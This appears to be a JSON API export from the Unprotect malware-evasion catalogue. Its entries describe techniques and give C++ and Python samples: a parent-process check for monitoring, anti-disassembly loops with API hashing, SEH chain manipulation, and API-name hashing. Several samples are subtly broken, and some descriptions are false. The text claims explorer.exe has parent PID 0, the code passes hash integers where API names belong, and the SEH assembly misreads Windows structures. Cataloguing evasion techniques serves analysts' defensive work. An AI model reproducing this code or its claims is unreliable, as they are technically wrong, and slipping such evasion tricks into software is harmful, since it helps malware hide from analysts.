"language": {
"id": 2,
"label": "C++",
"code_class": "cpp"
},
"user": {
"id": 6,
"username": "Unprotect",
"email": "null@localhost",
"linkedin": null,
"twitter": "https://twitter.com/hashtag/unprotectproject",
"website": null,
"github": null
},
"technique": "https://unprotect.it/api/techniques/90/?format=api",
"description": "This code uses the `CreateToolhelp32Snapshot()` and `Process32First()/Process32Next()` functions to iterate over all processes in the system and find the one with the same ID as the current process. It then checks the parent process ID of the current process, and compares it to 0 (the process ID of explorer.exe), to determine whether the parent process is explorer.exe or not. If the parent process is not explorer.exe, then the process is likely being monitored and the malware can take evasive action.",
"plain_code": "#include <Windows.h>\r\n#include <TlHelp32.h>\r\n#include <iostream>\r\n\r\nint main()\r\n{\r\n // Get the current process ID\r\n DWORD currentPID = GetCurrentProcessId();\r\n\r\n // Create a snapshot of all processes in the system\r\n HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);\r\n\r\n // Initialize the process entry structure\r\n PROCESSENTRY32 entry;\r\n entry.dwSize = sizeof(entry);\r\n\r\n // Iterate over all processes in the snapshot\r\n if (Process32First(snapshot, &entry))\r\n {\r\n do\r\n {\r\n // Check if the current process is the one we're looking for\r\n if (entry.th32ProcessID == currentPID)\r\n {\r\n // The parent process ID is the one we want\r\n DWORD parentPID = entry.th32ParentProcessID;\r\n\r\n // Check if the parent process is explorer.exe\r\n if (parentPID == 0)\r\n {\r\n std::cout << \"Parent process is explorer.exe\" << std::endl;\r\n }\r\n else\r\n {\r\n std::cout << \"Parent process is not explorer.exe\" << std::endl;\r\n }\r\n\r\n break;\r\n }\r\n } while (Process32Next(snapshot, &entry));\r\n }\r\n\r\n // Clean up\r\n CloseHandle(snapshot);\r\n\r\n return 0;\r\n}"
},
{
"id": 144,
"language": {
"id": 2,
"label": "C++",
"code_class": "cpp"
},
"user": {
"id": 6,
"username": "Unprotect",
"email": "null@localhost",
"linkedin": null,
"twitter": "https://twitter.com/hashtag/unprotectproject",
"website": null,
"github": null
},
"technique": "https://unprotect.it/api/techniques/180/?format=api",
"description": "In this code, the thwart_stack_frame function uses complex control flow structures and API hashing to make it more difficult for a disassembler to analyze the code and understand its behavior. By using these techniques, malware authors can thwart stack-frame analysis and make it harder for security analysts to reverse engineer and understand their code.",
"plain_code": "#include <stdio.h>\r\n#include <Windows.h>\r\n\r\n// Function to obfuscate the names of APIs\r\nunsigned long hash(const char *str)\r\n{\r\n unsigned long hash = 5381;\r\n int c;\r\n\r\n while (c = *str++)\r\n hash = ((hash << 5) + hash) + c; /* hash * 33 + c */\r\n\r\n return hash;\r\n}\r\n\r\n// Function to thwart stack-frame analysis\r\nvoid thwart_stack_frame()\r\n{\r\n // Use complex control flow structures to make it\r\n // difficult for the disassembler to track the flow\r\n // of execution\r\n int i, j, k;\r\n for (i = 0; i < 10; i++)\r\n {\r\n if (i % 2 == 0)\r\n {\r\n for (j = 0; j < 10; j++)\r\n {\r\n if (j % 2 == 1)\r\n {\r\n for (k = 0; k < 10; k++)\r\n {\r\n if (k % 2 == 0)\r\n {\r\n // Use API hashing to hide the names\r\n // of the APIs we want to call\r\n HMODULE hKernel32 = LoadLibrary((LPCSTR) hash(\"kernel32.dll\"));\r\n LPVOID lpExitProcess = GetProcAddress(hKernel32, (LPCSTR) hash(\"ExitProcess\"));\r\n\r\n // Call the ExitProcess API\r\n ((void (WINAPI *)(UINT))lpExitProcess)(0);\r\n\r\n // Clean up\r\n FreeLibrary(hKernel32);\r\n }\r\n }\r\n }\r\n }\r\n }\r\n }\r\n}\r\n\r\nint main()\r\n{\r\n thwart_stack_frame();\r\n\r\n return 0;\r\n}"
},
{
"id": 143,
"language": {
"id": 2,
"label": "C++",
"code_class": "cpp"
},
"user": {
"id": 6,
"username": "Unprotect",
"email": "null@localhost",
"linkedin": null,
"twitter": "https://twitter.com/hashtag/unprotectproject",
"website": null,
"github": null
},
"technique": "https://unprotect.it/api/techniques/179/?format=api",
"description": "In this code, the push_seh and pop_seh functions are used to manipulate the SEH chain. The handle_exception function is pushed onto the SEH chain, so that it will be executed when an exception occurs. When the exception is handled, the handle_exception function is popped off the SEH chain. This technique can be used by malware to make it more difficult for security analysts to understand the code and identify any potentially malicious behavior.",
"plain_code": "#include <Windows.h>\r\n#include <stdio.h>\r\n\r\n// Function to push a new function onto the SEH chain\r\nvoid push_seh(LPVOID fn)\r\n{\r\n // Use the FS segment register to gain access to the TEB\r\n __asm\r\n {\r\n mov eax, dword ptr fs:[0]\r\n }\r\n\r\n // The first structure in the TEB is the TIB,\r\n // which contains a pointer to the SEH chain\r\n __asm\r\n {\r\n mov eax, dword ptr[eax + 0x04]\r\n }\r\n\r\n // Push the new function onto the SEH chain\r\n __asm\r\n {\r\n push fn\r\n push dword ptr[eax]\r\n mov dword ptr[eax], esp\r\n }\r\n}\r\n\r\n// Function to pop a function off the SEH chain\r\nvoid pop_seh()\r\n{\r\n // Use the FS segment register to gain access to the TEB\r\n __asm\r\n {\r\n mov eax, dword ptr fs:[0]\r\n }\r\n\r\n // The first structure in the TEB is the TIB,\r\n // which contains a pointer to the SEH chain\r\n __asm\r\n {\r\n mov eax, dword ptr[eax + 0x04]\r\n }\r\n\r\n // Pop the top function off the SEH chain\r\n __asm\r\n {\r\n mov esp, dword ptr[eax]\r\n pop dword ptr[eax]\r\n }\r\n}\r\n\r\n// Function to handle exceptions\r\nDWORD handle_exception(EXCEPTION_POINTERS *ep)\r\n{\r\n // Print a message when an exception occurs\r\n printf(\"Exception occurred!\\n\");\r\n\r\n // Return the exception code to continue execution\r\n return ep->ExceptionRecord->ExceptionCode;\r\n}\r\n\r\nint main()\r\n{\r\n // Push the handle_exception function onto the SEH chain\r\n push_seh(&handle_exception);\r\n\r\n // Cause an exception to occur\r\n __try\r\n {\r\n *(int*)0 = 0;\r\n }\r\n __except (EXCEPTION_EXECUTE_HANDLER)\r\n {\r\n // Pop the handle_exception function off the SEH chain\r\n pop_seh();\r\n }\r\n\r\n return 0;\r\n}"
},
{
"id": 142,
"language": {
"id": 3,
"label": "Python",
"code_class": "python"
},
"user": {
"id": 6,
"username": "Unprotect",
"email": "null@localhost",
"linkedin": null,
"twitter": "https://twitter.com/hashtag/unprotectproject",
"website": null,
"github": null
},
"technique": "https://unprotect.it/api/techniques/75/?format=api",
"description": "In this code, the hash function is used to obfuscate the names of the APIs that are imported from the kernel32.dll library. The hashed names are then used to call the APIs using the GetProcAddress and LoadLibrary functions. When the code is disassembled, the actual names of the APIs will be hidden and replaced with the hashed values.",
"plain_code": "import ctypes\r\n\r\n# Hash function to obfuscate the API names\r\ndef hash(str):\r\n hash = 5381\r\n for c in str:\r\n hash = (hash * 33 + ord(c)) % 2**32\r\n return hash\r\n\r\n# Load the kernel32.dll library\r\nhKernel32 = ctypes.windll.kernel32\r\n\r\n# Use the hash function to obfuscate the names of the APIs\r\n# we want to call from the library\r\nlpLoadLibraryA = hKernel32.GetProcAddress(hKernel32, hash(\"LoadLibraryA\"))\r\nlpMessageBoxA = hKernel32.GetProcAddress(hKernel32, hash(\"MessageBoxA\"))\r\n\r\n# Call the APIs using the hashed names\r\nhUser32 = ctypes.CFUNCTYPE(ctypes.c_void_p)(lpLoadLibraryA)(\"user32.dll\")\r\nctypes.CFUNCTYPE(ctypes.c_int, ctypes.c_void_p, ctypes.c_char_p, ctypes.c_char_p, ctypes.c_uint)(lpMessageBoxA)(None, \"Hello World!\", \"API Hashing\", 0)\r\n\r\n# Clean up\r\nhKernel32.FreeLibrary(hUser32)"
}
]
}